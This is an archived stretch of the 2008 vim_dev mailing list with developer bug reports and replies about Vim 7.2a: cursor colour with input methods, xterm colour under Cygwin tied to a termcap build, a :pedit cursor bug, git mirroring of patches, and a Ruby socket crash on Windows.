Hello,

I noticed the Cursor and CursorIM color is not displayed correctly in
VIM 7.2a.
VIM 7.1.xxx (Last xxx was 330) worked as expected.

For the VIM 7.2a;
1. run gvim  -> 'Cursor' color
2. type 'i'  -> 'Cursor' color
3. type imak (s-space) -> 'CursorIM' color
                            I can input Hangul..
4. type imak (s-space) again -> oops! 'CursorIM' color yet.. :-(
                                  But, I can input English..
                                  VIM 7.1 shows 'Cursor' color.

Through 2 to 4 stage, command-line window(?) always shows '-- INSERT --'.

And, now..

5. type ESC -> 'Cursor' color
6. type 'i' -> 'CursorIM' color, but I can input English.
                 And now, command-line window shows '-- IM INSERT --'.

Cursor color is important to distinguish current input language.

I always build VIM from CVS and build options was not changed.
And I tried to change the CFLAGS as:
   s/-Os -march=i686 -fomit-frame-pointer -fno-strict-aliasing -pthread/-O0/g
The result was same. The cygwin is very recent version (I updated a few
weeks ago).

Regards,
namsh

:ver
VIM - Vi IMproved 7.2a BETA (2008 Jun 24, compiled Jul  1 2008 14:54:30)
Included patches: 1-10
Compiled by namsh@lmoon
Normal version with GTK2 GUI.  Features included (+) or not (-):
-arabic +autocmd +balloon_eval +browse +builtin_terms +byte_offset +cindent
+clientserver +clipboard +cmdline_compl +cmdline_hist +cmdline_info
+comments
+cryptv -cscope +cursorshape +dialog_con_gui +diff +digraphs +dnd -ebcdic
-emacs_tags +eval +ex_extra +extra_search -farsi +file_in_path +find_in_path
+float +folding -footer +fork() +gettext -hangul_input +iconv +insert_expand
+jumplist -keymap -langmap +libcall +linebreak +lispindent +listcmds
+localmap
+menu +mksession +modify_fname +mouse +mouseshape -mouse_dec -mouse_gpm
-mouse_jsbterm -mouse_netterm -mouse_sysmouse +mouse_xterm +multi_byte
+multi_lang -mzscheme +netbeans_intg -osfiletype +path_extra -perl
+postscript
+printer -profile +python +quickfix +reltime -rightleft -ruby +scrollbind
+signs +smartindent -sniff +statusline -sun_workshop +syntax +tag_binary
+tag_old_static -tag_any_white -tcl +terminfo +termresponse +textobjects
+title
   +toolbar +user_commands +vertsplit +virtualedit +visual +visualextra
+viminfo
+vreplace +wildignore +wildmenu +windows +writebackup +X11 -xfontset +xim
+xsmp_interact +xterm_clipboard -xterm_save
     system vimrc file: "$VIM/vimrc"
       user vimrc file: "$HOME/.vimrc"
        user exrc file: "$HOME/.exrc"
    system gvimrc file: "$VIM/gvimrc"
      user gvimrc file: "$HOME/.gvimrc"
      system menu file: "$VIMRUNTIME/menu.vim"
    fall-back for $VIM: "/opt/share/vim"
Compilation: gcc -c -I. -Iproto -DHAVE_CONFIG_H -DFEAT_GUI_GTK
-DXTHREADS -DXUS
E_MTSAFE_API -I/usr/include/gtk-2.0 -I/usr/lib/gtk-2.0/include
-I/usr/X11R6/incl
ude -I/usr/include/atk-1.0 -I/usr/include/pango-1.0
-I/usr/include/freetype2 -I/
usr/include/glib-2.0 -I/usr/lib/glib-2.0/include     -Os -march=i686
-fomit-fram
e-pointer -fno-strict-aliasing -pipe  -I/usr/X11R6/include
-I/usr/include/pyt
hon2.5 -pthread
Linking: gcc -L/usr/X11R6/lib   -L/usr/X11R6/lib   -L/usr/local/lib -o
vim.exe
   -L/usr/X11R6/lib -lgtk-x11-2.0 -lgdk-x11-2.0 -latk-1.0
-lgdk_pixbuf-2.0 -lpango
xft-1.0 -lXft -lfreetype -lz -lXrender -lXext -lfontconfig -lpangox-1.0
-lpango-
1.0 -lgobject-2.0 -lgmodule-2.0 -lglib-2.0 -lintl -lXt -lX11 -lSM -lICE
-lncurse
s -liconv -lintl    -L/usr/lib/python2.5/config -lpython2.5 -lm

--~--~---------~--~----~------------~-------~--~----~
You received this message from the "vim_dev" maillist.
For more information, visit http://www.vim.org/maillist.php
-~----------~----~----~----~------~----~------~--~---

Hello,

I checked a diff between VIM 7.1.330 and VIM 7.2a.10.
The changes in mbyte.c below caused the cursor problem.
The old code was problematic for the Japanese? im_preedit_start_cb
set the im_is_active, but im_preedit_end_cb should not reset it?
Hmm... Don't know what's wrong there in VIM side...
I hope this cursor color problem be fixed (by reverting the change
or any other way...).

Regards,
namsh

diff --git a/src/mbyte.c b/src/mbyte.c
index 4e90593..fec13aa 100644
--- a/src/mbyte.c
+++ b/src/mbyte.c
@@ -3692,7 +3692,7 @@ im_preedit_end_cb(GtkIMContext *context, gpointer
data)
       preedit_start_col = MAXCOL;
       xim_has_preediting = FALSE;

-#if 0
+#if 1
       /* Removal of this line suggested by Takuhiro Nishioka.  Fixes
that IM was
        * switched off unintentionally. */
       im_is_active = FALSE;

SungHyun Nam wrote:
  > Hello,
  >
  > I noticed the Cursor and CursorIM color is not displayed correctly in
  > VIM 7.2a.
  > VIM 7.1.xxx (Last xxx was 330) worked as expected.
  >
  > For the VIM 7.2a;
  > 1. run gvim  -> 'Cursor' color
  > 2. type 'i'  -> 'Cursor' color
  > 3. type imak (s-space) -> 'CursorIM' color
  >                           I can input Hangul..
  > 4. type imak (s-space) again -> oops! 'CursorIM' color yet.. :-(
  >                                 But, I can input English..
  >                                 VIM 7.1 shows 'Cursor' color.
  >
  > Through 2 to 4 stage, command-line window(?) always shows '-- INSERT --'.
  >
  > And, now..
  >
  > 5. type ESC -> 'Cursor' color
  > 6. type 'i' -> 'CursorIM' color, but I can input English.
  >                And now, command-line window shows '-- IM INSERT --'.
  >
  > Cursor color is important to distinguish current input language.
  >
  > I always build VIM from CVS and build options was not changed.
  > And I tried to change the CFLAGS as:
  >  s/-Os -march=i686 -fomit-frame-pointer -fno-strict-aliasing
-pthread/-O0/g
  > The result was same. The cygwin is very recent version (I updated a few
  > weeks ago).

--~--~---------~--~----~------------~-------~--~----~
You received this message from the "vim_dev" maillist.
For more information, visit http://www.vim.org/maillist.php
-~----------~----~----~----~------~----~------~--~---

On Mon, Jun 30, 2008 at 23:17, Christian MICHON
<christian.michon@...> wrote:


> web based format, close to useless unless I write a clever awk script
> after I individually download each page individually.

wget comes to mind. I am sure you will find a script to do what you
want. Wanting web archives in a sane format is not too uncommon,
after all.


Richard

--~--~---------~--~----~------------~-------~--~----~
You received this message from the "vim_dev" maillist.
For more information, visit http://www.vim.org/maillist.php
-~----------~----~----~----~------~----~------~--~---

##############################
http:\\lakshmiraiprofile.blogspot.com
##############################
--~--~---------~--~----~------------~-------~--~----~
You received this message from the "vim_dev" maillist.
For more information, visit http://www.vim.org/maillist.php
-~----------~----~----~----~------~----~------~--~---

On Tue, Jul 1, 2008 at 12:21 PM, Richard Hartmann
<richih.mailinglist@...> wrote:
> wget comes to mind. I am sure you will find a script to do what you
> want. Wanting web archives in a sane format is not too uncommon,
> after all.

thanks for suggesting it. as I mentioned, it would have been the last resort.

fortunately, our dear Bram updates version.c for each patch, so
extracting the date for each change of version.c is good enough for a
representative commit date. I'm almost done thanks to this trick.

;-)

--
Christian
--
http://detaolb.sourceforge.net/, a linux distribution for Qemu with Git inside !

--~--~---------~--~----~------------~-------~--~----~
You received this message from the "vim_dev" maillist.
For more information, visit http://www.vim.org/maillist.php
-~----------~----~----~----~------~----~------~--~---

On Mon, Jun 30, 2008 at 11:39 PM, James Vega <jamessan@...> wrote:
>> One feedback: we should try to keep the patch numbers from Bram in the
>> shortlog, shouldn't we ?
>
> *shrug* I went back and forth on that and ended up leaving it as is
> since that's the way I started.

I managed to find a neat way to do this.

>> My commit's dates are based on the ftp server: I guess a cleaner
>> approach should be to scan the mailing list archives or copy the dates
>> from cvs.
>
> I had thought about making git record the date as when the patch was
> released but since that information isn't in the patch itself, gave up
> on it.

good hint. actually, it's inside each patch itself (just need to look
for the date of version.c updates).

>
>> I'm consolidating the repo then I'll find a web server to host it.
>> Thanks for the git address.
>
> Cool.  I'm sure people will find a repo meant purely for replication
> instead of my specific needs more useful.

well, I know the pristine tar habits you have... I want to focus on
vim+extra+all patches only.
It's progressing well. Just cpu time mostly...

--
Christian
--
http://detaolb.sourceforge.net/, a linux distribution for Qemu with Git inside !

--~--~---------~--~----~------------~-------~--~----~
You received this message from the "vim_dev" maillist.
For more information, visit http://www.vim.org/maillist.php
-~----------~----~----~----~------~----~------~--~---

I've wrote compiler file for Lua: http://wit.edu.pl/~husiatyn/lua.vim
--~--~---------~--~----~------------~-------~--~----~
You received this message from the "vim_dev" maillist.
For more information, visit http://www.vim.org/maillist.php
-~----------~----~----~----~------~----~------~--~---

Hi,

When running 7.2a in an xterm under Cygwin, the color capabilities
of the xterm are not used.  Rather, vim uses only standard terminal
capabilities like underline, bold, etc.

This doesn't happen with vim 7.1.  Running vim 7.1 in an xterm under
Cygwin shows all colors the xterm is capable of.
in the syntax color settings.

The entire environment is otherwise identical.  Both versions are build
as HUGE versions:

:version
VIM - Vi IMproved 7.1 (2007 May 12, compiled Nov 21 2007 17:43:28)
Compiled by corinna@coffee
Huge version without GUI.  Features included (+) or not (-):
+arabic +autocmd -balloon_eval -browse ++builtin_terms +byte_offset +cindent
-clientserver -clipboard +cmdline_compl +cmdline_hist +cmdline_info +comments
+cryptv +cscope +cursorshape +dialog_con +diff +digraphs -dnd -ebcdic
+emacs_tags +eval +ex_extra +extra_search +farsi +file_in_path +find_in_path
+folding -footer +fork() +gettext -hangul_input +iconv +insert_expand +jumplist
  +keymap +langmap +libcall +linebreak +lispindent +listcmds +localmap +menu
+mksession +modify_fname +mouse -mouseshape +mouse_dec -mouse_gpm
-mouse_jsbterm +mouse_netterm +mouse_xterm +multi_byte +multi_lang -mzscheme
-netbeans_intg -osfiletype +path_extra -perl +postscript +printer +profile
-python +quickfix +reltime +rightleft -ruby +scrollbind +signs +smartindent
-sniff +statusline -sun_workshop +syntax +tag_binary +tag_old_static
-tag_any_white -tcl +terminfo +termresponse +textobjects +title -toolbar
+user_commands +vertsplit +virtualedit +visual +visualextra +viminfo +vreplace
+wildignore +wildmenu +windows +writebackup -X11 -xfontset -xim -xsmp
-xterm_clipboard -xterm_save
    system vimrc file: "$VIM/vimrc"
      user vimrc file: "$HOME/.vimrc"
       user exrc file: "$HOME/.exrc"
   fall-back for $VIM: "/usr/share/vim"
Compilation: gcc -c -I. -Iproto -DHAVE_CONFIG_H     -g -O2
Linking:
gcc   -L/usr/local/lib -o vim.exe       -lncurses  -liconv -lintl


:version
VIM - Vi IMproved 7.2a BETA (2008 Jun 24, compiled Jun 25 2008 12:24:52)
Compiled by corinna@cathi
Huge version without GUI.  Features included (+) or not (-):
+arabic +autocmd -balloon_eval -browse ++builtin_terms +byte_offset +cindent
-clientserver -clipboard +cmdline_compl +cmdline_hist +cmdline_info +comments
+cryptv +cscope +cursorshape +dialog_con +diff +digraphs -dnd -ebcdic
+emacs_tags +eval +ex_extra +extra_search +farsi +file_in_path +find_in_path
+float +folding -footer +fork() +gettext -hangul_input +iconv +insert_expand
+jumplist +keymap +langmap +libcall +linebreak +lispindent +listcmds +localmap
+menu +mksession +modify_fname +mouse -mouseshape +mouse_dec -mouse_gpm
-mouse_jsbterm +mouse_netterm -mouse_sysmouse +mouse_xterm +multi_byte
+multi_lang -mzscheme -netbeans_intg -osfiletype +path_extra -perl +postscript
+printer +profile -python +quickfix +reltime +rightleft -ruby +scrollbind
+signs +smartindent -sniff +statusline -sun_workshop +syntax +tag_binary
+tag_old_static -tag_any_white -tcl -terminfo +termresponse +textobjects +title
  -toolbar +user_commands +vertsplit +virtualedit +visual +visualextra +viminfo
+vreplace +wildignore +wildmenu +windows +writebackup -X11 -xfontset -xim -xsmp
  -xterm_clipboard -xterm_save
    system vimrc file: "$VIM/vimrc"
      user vimrc file: "$HOME/.vimrc"
       user exrc file: "$HOME/.exrc"
   fall-back for $VIM: "/usr/share/vim"
Compilation: gcc -c -I. -Iproto -DHAVE_CONFIG_H     -g -O2
Linking:
gcc   -L/usr/local/lib -o vim.exe       -lm -ltermcap  -liconv -lintl


What could be the reason?


Corinna

--
Corinna Vinschen
Cygwin Project Co-Leader
Red Hat

--~--~---------~--~----~------------~-------~--~----~
You received this message from the "vim_dev" maillist.
For more information, visit http://www.vim.org/maillist.php
-~----------~----~----~----~------~----~------~--~---

Hi,

Corinna Vinschen wrote:
> Hi,
>
> When running 7.2a in an xterm under Cygwin, the color capabilities
> of the xterm are not used.  Rather, vim uses only standard terminal
> capabilities like underline, bold, etc.
>
> This doesn't happen with vim 7.1.  Running vim 7.1 in an xterm under
> Cygwin shows all colors the xterm is capable of.
> in the syntax color settings.
>
> The entire environment is otherwise identical.  Both versions are build
> as HUGE versions:
>
> :version
> VIM - Vi IMproved 7.1 (2007 May 12, compiled Nov 21 2007 17:43:28)
> Compiled by corinna@coffee
> Huge version without GUI.  Features included (+) or not (-):
> +arabic +autocmd -balloon_eval -browse ++builtin_terms +byte_offset +cindent
> -clientserver -clipboard +cmdline_compl +cmdline_hist +cmdline_info +comments
> +cryptv +cscope +cursorshape +dialog_con +diff +digraphs -dnd -ebcdic
> +emacs_tags +eval +ex_extra +extra_search +farsi +file_in_path +find_in_path
> +folding -footer +fork() +gettext -hangul_input +iconv +insert_expand
+jumplist
>  +keymap +langmap +libcall +linebreak +lispindent +listcmds +localmap +menu
> +mksession +modify_fname +mouse -mouseshape +mouse_dec -mouse_gpm
> -mouse_jsbterm +mouse_netterm +mouse_xterm +multi_byte +multi_lang -mzscheme
> -netbeans_intg -osfiletype +path_extra -perl +postscript +printer +profile
> -python +quickfix +reltime +rightleft -ruby +scrollbind +signs +smartindent
> -sniff +statusline -sun_workshop +syntax +tag_binary +tag_old_static
> -tag_any_white -tcl +terminfo +termresponse +textobjects +title -toolbar
> +user_commands +vertsplit +virtualedit +visual +visualextra +viminfo +vreplace
> +wildignore +wildmenu +windows +writebackup -X11 -xfontset -xim -xsmp
> -xterm_clipboard -xterm_save
>    system vimrc file: "$VIM/vimrc"
>      user vimrc file: "$HOME/.vimrc"
>       user exrc file: "$HOME/.exrc"
>   fall-back for $VIM: "/usr/share/vim"
> Compilation: gcc -c -I. -Iproto -DHAVE_CONFIG_H     -g -O2
> Linking:
> gcc   -L/usr/local/lib -o vim.exe       -lncurses  -liconv -lintl
>
>
> :version
> VIM - Vi IMproved 7.2a BETA (2008 Jun 24, compiled Jun 25 2008 12:24:52)
> Compiled by corinna@cathi
> Huge version without GUI.  Features included (+) or not (-):
> +arabic +autocmd -balloon_eval -browse ++builtin_terms +byte_offset +cindent
> -clientserver -clipboard +cmdline_compl +cmdline_hist +cmdline_info +comments
> +cryptv +cscope +cursorshape +dialog_con +diff +digraphs -dnd -ebcdic
> +emacs_tags +eval +ex_extra +extra_search +farsi +file_in_path +find_in_path
> +float +folding -footer +fork() +gettext -hangul_input +iconv +insert_expand
> +jumplist +keymap +langmap +libcall +linebreak +lispindent +listcmds +localmap
> +menu +mksession +modify_fname +mouse -mouseshape +mouse_dec -mouse_gpm
> -mouse_jsbterm +mouse_netterm -mouse_sysmouse +mouse_xterm +multi_byte
> +multi_lang -mzscheme -netbeans_intg -osfiletype +path_extra -perl +postscript
> +printer +profile -python +quickfix +reltime +rightleft -ruby +scrollbind
> +signs +smartindent -sniff +statusline -sun_workshop +syntax +tag_binary
> +tag_old_static -tag_any_white -tcl -terminfo +termresponse +textobjects
+title
>  -toolbar +user_commands +vertsplit +virtualedit +visual +visualextra +viminfo
> +vreplace +wildignore +wildmenu +windows +writebackup -X11 -xfontset -xim
-xsmp
>  -xterm_clipboard -xterm_save
>    system vimrc file: "$VIM/vimrc"
>      user vimrc file: "$HOME/.vimrc"
>       user exrc file: "$HOME/.exrc"
>   fall-back for $VIM: "/usr/share/vim"
> Compilation: gcc -c -I. -Iproto -DHAVE_CONFIG_H     -g -O2
> Linking:
> gcc   -L/usr/local/lib -o vim.exe       -lm -ltermcap  -liconv -lintl
>
>
> What could be the reason?

   +viminfo

vs.

   -viminfo

Regards,
Jürgen

--
Sometimes I think the surest sign that intelligent life exists elsewhere
in the universe is that none of it has tried to contact us.     (Calvin)

--~--~---------~--~----~------------~-------~--~----~
You received this message from the "vim_dev" maillist.
For more information, visit http://www.vim.org/maillist.php
-~----------~----~----~----~------~----~------~--~---

Hi,

Jürgen Krämer wrote:
>
> Corinna Vinschen wrote:
>> Hi,
>>
>> When running 7.2a in an xterm under Cygwin, the color capabilities
>> of the xterm are not used.  Rather, vim uses only standard terminal
>> capabilities like underline, bold, etc.
>>
>> This doesn't happen with vim 7.1.  Running vim 7.1 in an xterm under
>> Cygwin shows all colors the xterm is capable of.
>> in the syntax color settings.
>>
>> The entire environment is otherwise identical.  Both versions are build
>> as HUGE versions:
>>
>> :version
>> VIM - Vi IMproved 7.1 (2007 May 12, compiled Nov 21 2007 17:43:28)
>> Compiled by corinna@coffee
>> Huge version without GUI.  Features included (+) or not (-):
>> +arabic +autocmd -balloon_eval -browse ++builtin_terms +byte_offset +cindent
>> -clientserver -clipboard +cmdline_compl +cmdline_hist +cmdline_info +comments
>> +cryptv +cscope +cursorshape +dialog_con +diff +digraphs -dnd -ebcdic
>> +emacs_tags +eval +ex_extra +extra_search +farsi +file_in_path +find_in_path
>> +folding -footer +fork() +gettext -hangul_input +iconv +insert_expand
+jumplist
>>  +keymap +langmap +libcall +linebreak +lispindent +listcmds +localmap +menu
>> +mksession +modify_fname +mouse -mouseshape +mouse_dec -mouse_gpm
>> -mouse_jsbterm +mouse_netterm +mouse_xterm +multi_byte +multi_lang -mzscheme
>> -netbeans_intg -osfiletype +path_extra -perl +postscript +printer +profile
>> -python +quickfix +reltime +rightleft -ruby +scrollbind +signs +smartindent
>> -sniff +statusline -sun_workshop +syntax +tag_binary +tag_old_static
>> -tag_any_white -tcl +terminfo +termresponse +textobjects +title -toolbar
>> +user_commands +vertsplit +virtualedit +visual +visualextra +viminfo
+vreplace
>> +wildignore +wildmenu +windows +writebackup -X11 -xfontset -xim -xsmp
>> -xterm_clipboard -xterm_save
>>    system vimrc file: "$VIM/vimrc"
>>      user vimrc file: "$HOME/.vimrc"
>>       user exrc file: "$HOME/.exrc"
>>   fall-back for $VIM: "/usr/share/vim"
>> Compilation: gcc -c -I. -Iproto -DHAVE_CONFIG_H     -g -O2
>> Linking:
>> gcc   -L/usr/local/lib -o vim.exe       -lncurses  -liconv -lintl
>>
>>
>> :version
>> VIM - Vi IMproved 7.2a BETA (2008 Jun 24, compiled Jun 25 2008 12:24:52)
>> Compiled by corinna@cathi
>> Huge version without GUI.  Features included (+) or not (-):
>> +arabic +autocmd -balloon_eval -browse ++builtin_terms +byte_offset +cindent
>> -clientserver -clipboard +cmdline_compl +cmdline_hist +cmdline_info +comments
>> +cryptv +cscope +cursorshape +dialog_con +diff +digraphs -dnd -ebcdic
>> +emacs_tags +eval +ex_extra +extra_search +farsi +file_in_path +find_in_path
>> +float +folding -footer +fork() +gettext -hangul_input +iconv +insert_expand
>> +jumplist +keymap +langmap +libcall +linebreak +lispindent +listcmds
+localmap
>> +menu +mksession +modify_fname +mouse -mouseshape +mouse_dec -mouse_gpm
>> -mouse_jsbterm +mouse_netterm -mouse_sysmouse +mouse_xterm +multi_byte
>> +multi_lang -mzscheme -netbeans_intg -osfiletype +path_extra -perl
+postscript
>> +printer +profile -python +quickfix +reltime +rightleft -ruby +scrollbind
>> +signs +smartindent -sniff +statusline -sun_workshop +syntax +tag_binary
>> +tag_old_static -tag_any_white -tcl -terminfo +termresponse +textobjects
+title
>>  -toolbar +user_commands +vertsplit +virtualedit +visual +visualextra
+viminfo
>> +vreplace +wildignore +wildmenu +windows +writebackup -X11 -xfontset -xim
-xsmp
>>  -xterm_clipboard -xterm_save
>>    system vimrc file: "$VIM/vimrc"
>>      user vimrc file: "$HOME/.vimrc"
>>       user exrc file: "$HOME/.exrc"
>>   fall-back for $VIM: "/usr/share/vim"
>> Compilation: gcc -c -I. -Iproto -DHAVE_CONFIG_H     -g -O2
>> Linking:
>> gcc   -L/usr/local/lib -o vim.exe       -lm -ltermcap  -liconv -lintl
>>
>>
>> What could be the reason?
>
>   +viminfo
>
> vs.
>
>   -viminfo

Sorry, I wanted to write

   +terminfo

vs.

   -terminfo

Regards,
Jürgen

--
Sometimes I think the surest sign that intelligent life exists elsewhere
in the universe is that none of it has tried to contact us.     (Calvin)

--~--~---------~--~----~------------~-------~--~----~
You received this message from the "vim_dev" maillist.
For more information, visit http://www.vim.org/maillist.php
-~----------~----~----~----~------~----~------~--~---

On Tuesday 01 July 2008, Corinna Vinschen wrote:
> Hi,
>
> When running 7.2a in an xterm under Cygwin, the color capabilities
> of the xterm are not used.  Rather, vim uses only standard terminal
> capabilities like underline, bold, etc.
>
> This doesn't happen with vim 7.1.  Running vim 7.1 in an xterm under
> Cygwin shows all colors the xterm is capable of.
> in the syntax color settings.

Well, "xterm" really has no color support. It was monochrome. You need to set
the TERM variable to either "xterm-color" or even "xterm-256color".

If you don't want to do that, a work-around is descriped in vim's help, "help
color-xterm".
	 Marc


--
Marc Haisenko

Comdasys AG
Rüdesheimer Str. 7
80686 München
Germany

Tel.: +49 (0)89 548 433 321

--~--~---------~--~----~------------~-------~--~----~
You received this message from the "vim_dev" maillist.
For more information, visit http://www.vim.org/maillist.php
-~----------~----~----~----~------~----~------~--~---

On Jul  1 16:16, J?rgen Kr?mer wrote:
> > Corinna Vinschen wrote:
> >> :version
> >> VIM - Vi IMproved 7.1 (2007 May 12, compiled Nov 21 2007 17:43:28)
> >> [...]
> >> Linking:
> >> gcc   -L/usr/local/lib -o vim.exe       -lncurses  -liconv -lintl
> >>
> >>
> >> :version
> >> VIM - Vi IMproved 7.2a BETA (2008 Jun 24, compiled Jun 25 2008 12:24:52)
> >> [...]
> >> Linking:
> >> gcc   -L/usr/local/lib -o vim.exe       -lm -ltermcap  -liconv -lintl
> >>[...]
> Sorry, I wanted to write
>
>   +terminfo
>
> vs.
>
>   -terminfo

Ouch!  You're right.  The new version is accidentally built against
termcap instead of ncurses because I missed to install the ncurses-devel
package.

Thanks for noticing!


Corinna

--
Corinna Vinschen
Cygwin Project Co-Leader
Red Hat

--~--~---------~--~----~------------~-------~--~----~
You received this message from the "vim_dev" maillist.
For more information, visit http://www.vim.org/maillist.php
-~----------~----~----~----~------~----~------~--~---

On Jul  1 16:37, Marc Haisenko wrote:
> On Tuesday 01 July 2008, Corinna Vinschen wrote:
> > Hi,
> >
> > When running 7.2a in an xterm under Cygwin, the color capabilities
> > of the xterm are not used.  Rather, vim uses only standard terminal
> > capabilities like underline, bold, etc.
> >
> > This doesn't happen with vim 7.1.  Running vim 7.1 in an xterm under
> > Cygwin shows all colors the xterm is capable of.
> > in the syntax color settings.
>
> Well, "xterm" really has no color support. It was monochrome. You need to set
> the TERM variable to either "xterm-color" or even "xterm-256color".

xterm has color capabilities for ages and the terminfo xterm entry
contains this information.  Of course, when linking against libtermcap
instead of ncurses... ;)


Corinna

--
Corinna Vinschen
Cygwin Project Co-Leader
Red Hat

--~--~---------~--~----~------------~-------~--~----~
You received this message from the "vim_dev" maillist.
For more information, visit http://www.vim.org/maillist.php
-~----------~----~----~----~------~----~------~--~---

Hello VIM developers,

I found a small bug in :pedit when one wants to clone the current buffer to the
preview window _and_ there is a :autocmd for the 'BufReadPre' event; in that
case, the cursor jumps to the first line of the original window instead of
remaining at the same position.
In my case, the bug manifests itself due to DrChip's 'LargeFile.vim' plugin
(vimscript#1506), which defines an ':au BufReadPre *'. I was working on an
elaborate mapping that included ':pedit %' and relied on the cursor not moving.

Steps to reproduce:

gvim -N -u NONE
" Just open a file with a couple of lines and go to the end.
:e + $VIMRUNTIME/vimrc_example.vim
:echo line('.')
94
:pedit %
:echo line('.')
94
" Okay, still at the end.
:pclose
:au BufReadPre * let g:isExecuted = 1
:pedit %
" By now, the cursor has jumped to the first line in the original window;
" the same happens with :pedit, but not with :pedit <any other file>.
:echo line('.')
1
" The help says the cursor position shouldn't change.
:help :pedit
[...] The current window and cursor position isn't changed.

I can reproduce this with VIM 7.1 on Windows and with VIM 7.2a.10 (Big version)
on openSUSE 10.3/x86.

-- best regards, ingo

PS: I rewrote my mapping to use bufnr() / :buffer to open the same file in the
preview window; but now I have to work around the fact that there is no :popen
command to open a blank preview window. Why is that one missing?

/^-- Ingo Karkat -- /^-- /^-- /^-- /^-- /^-- /^-- http://ingo-karkat.de/ --

              The Martian canals were the Martians' last ditch effort.

--~--~---------~--~----~------------~-------~--~----~
You received this message from the "vim_dev" maillist.
For more information, visit http://www.vim.org/maillist.php
-~----------~----~----~----~------~----~------~--~---

On Tuesday 01 July 2008, Corinna Vinschen wrote:
> xterm has color capabilities for ages and the terminfo xterm entry
> contains this information.

Yes, but in a lot of places it is still assumed that "xterm" means monochrome.
For example, try OpenSolaris: if TERM=xterm you'll get a monochrome vim.
Setting it to "xterm-color" or "xterm-256color" fixes that. I ran into this
when I installed OpenSolaris a few weeks back :-)

Code that outputs color escape sequences for "xterm" is, in a very strict
sense, wrong. Of course there's always the "correct-according-to-the-specs"
vs. "Do-What-I-Mean" conflict :-)

> Of course, when linking against libtermcap instead of ncurses... ;)
>
> Corinna

Hehe :-)

Marc


--
Marc Haisenko

Comdasys AG
Rüdesheimer Str. 7
80686 München
Germany

Tel.: +49 (0)89 548 433 321

--~--~---------~--~----~------------~-------~--~----~
You received this message from the "vim_dev" maillist.
For more information, visit http://www.vim.org/maillist.php
-~----------~----~----~----~------~----~------~--~---

On 2008-07-01, Marc Haisenko <haisenko@...> wrote:
> On Tuesday 01 July 2008, Corinna Vinschen wrote:
> > xterm has color capabilities for ages and the terminfo xterm entry
> > contains this information.
>
> Yes, but in a lot of places it is still assumed that "xterm" means monochrome.
> For example, try OpenSolaris: if TERM=xterm you'll get a monochrome vim.
> Setting it to "xterm-color" or "xterm-256color" fixes that. I ran into this
> when I installed OpenSolaris a few weeks back :-)
>
> Code that outputs color escape sequences for "xterm" is, in a very strict
> sense, wrong. Of course there's always the "correct-according-to-the-specs"
> vs. "Do-What-I-Mean" conflict :-)

The terminfo description for "xterm" that is distributed with xterm
itself, which I would think would make it definitive, says it
supports 8 colors.

Regards,
Gary


--~--~---------~--~----~------------~-------~--~----~
You received this message from the "vim_dev" maillist.
For more information, visit http://www.vim.org/maillist.php
-~----------~----~----~----~------~----~------~--~---

On Tuesday 01 July 2008, Gary Johnson wrote:
> On 2008-07-01, Marc Haisenko <haisenko@...> wrote:
> > On Tuesday 01 July 2008, Corinna Vinschen wrote:
> > > xterm has color capabilities for ages and the terminfo xterm entry
> > > contains this information.
> >
> > Yes, but in a lot of places it is still assumed that "xterm" means
> > monochrome. For example, try OpenSolaris: if TERM=xterm you'll get a
> > monochrome vim. Setting it to "xterm-color" or "xterm-256color" fixes
> > that. I ran into this when I installed OpenSolaris a few weeks back :-)
> >
> > Code that outputs color escape sequences for "xterm" is, in a very strict
> > sense, wrong. Of course there's always the
> > "correct-according-to-the-specs" vs. "Do-What-I-Mean" conflict :-)
>
> The terminfo description for "xterm" that is distributed with xterm
(from XFree86/X.org)
> itself, which I would think would make it definitive, says it
> supports 8 colors.
>
> Regards,
> Gary

...which ALSO is wrong because it supports 256 colors as you verify yourself
with the attached script.

As you can see, the UNIX way of handling output is severely broken and always
has been because there's just no way that the terminal can tell the system
and/or application what it CAN support. We only have some files saying what
the system THINKS a given terminal can support. It doesn't know for sure and
just hopes for the best.

Also, see the ncurses FAQ entry about the issue:
http://invisible-island.net/ncurses/ncurses.faq.html#no_xterm_color

Sorry for the off-topic line noise, will keep my mouth shut now :-)

	 Marc

--
Marc Haisenko

Comdasys AG
Rüdesheimer Str. 7
80686 München
Germany

Tel.: +49 (0)89 548 433 321

--~--~---------~--~----~------------~-------~--~----~
You received this message from the "vim_dev" maillist.
For more information, visit http://www.vim.org/maillist.php
-~----------~----~----~----~------~----~------~--~---

Ingo Karkat wrote:

> Hello VIM developers,
>
> I found a small bug in :pedit when one wants to clone the current
> buffer to the preview window _and_ there is a :autocmd for the
> 'BufReadPre' event; in that case, the cursor jumps to the first line
> of the original window instead of remaining at the same position.
> In my case, the bug manifests itself due to DrChip's 'LargeFile.vim'
> plugin (vimscript#1506), which defines an ':au BufReadPre *'. I was
> working on an elaborate mapping that included ':pedit %' and relied on
> the cursor not moving.
>
> Steps to reproduce:
>
> gvim -N -u NONE
> " Just open a file with a couple of lines and go to the end.
> :e + $VIMRUNTIME/vimrc_example.vim
> :echo line('.')
> 94
> :pedit %
> :echo line('.')
> 94
> " Okay, still at the end.
> :pclose
> :au BufReadPre * let g:isExecuted = 1
> :pedit %
> " By now, the cursor has jumped to the first line in the original window;
> " the same happens with :pedit, but not with :pedit <any other file>.
> :echo line('.')
> 1
> " The help says the cursor position shouldn't change.
> :help :pedit
> [...] The current window and cursor position isn't changed.
>
> I can reproduce this with VIM 7.1 on Windows and with VIM 7.2a.10 (Big
> version) on openSUSE 10.3/x86.

I can reproduce it.  I'll add a remark to the todo list.

> -- best regards, ingo
>
> PS: I rewrote my mapping to use bufnr() / :buffer to open the same
> file in the preview window; but now I have to work around the fact
> that there is no :popen command to open a blank preview window. Why is
> that one missing?

Why would you want to preview nothing?

--
hundred-and-one symptoms of being an internet addict:
128. You can access the Net -- via your portable and cellular phone.

  /// Bram Moolenaar -- Bram@... -- http://www.Moolenaar.net   \\\
///        sponsor Vim, vote for features -- http://www.Vim.org/sponsor/ \\\
\\\        download, build and distribute -- http://www.A-A-P.org        ///
  \\\            help me help AIDS victims -- http://ICCF-Holland.org    ///

--~--~---------~--~----~------------~-------~--~----~
You received this message from the "vim_dev" maillist.
For more information, visit http://www.vim.org/maillist.php
-~----------~----~----~----~------~----~------~--~---

> I found a ruby command's bug on Windows VIM.
>
> :ruby require 'open-uri'
> :ruby open('http://google.com/')
>  => SocketError: `initialize': getaddrinfo: non-recoverable failure in
> name resolution.
> :ruby open('http://66.249.89.147')
>  => vim dies
>
> In Windows, NtInitialize() should called when initializing Ruby.
> Otherwise, socket is never initialized.
>
> Here is patch.

Thanks for looking into this.

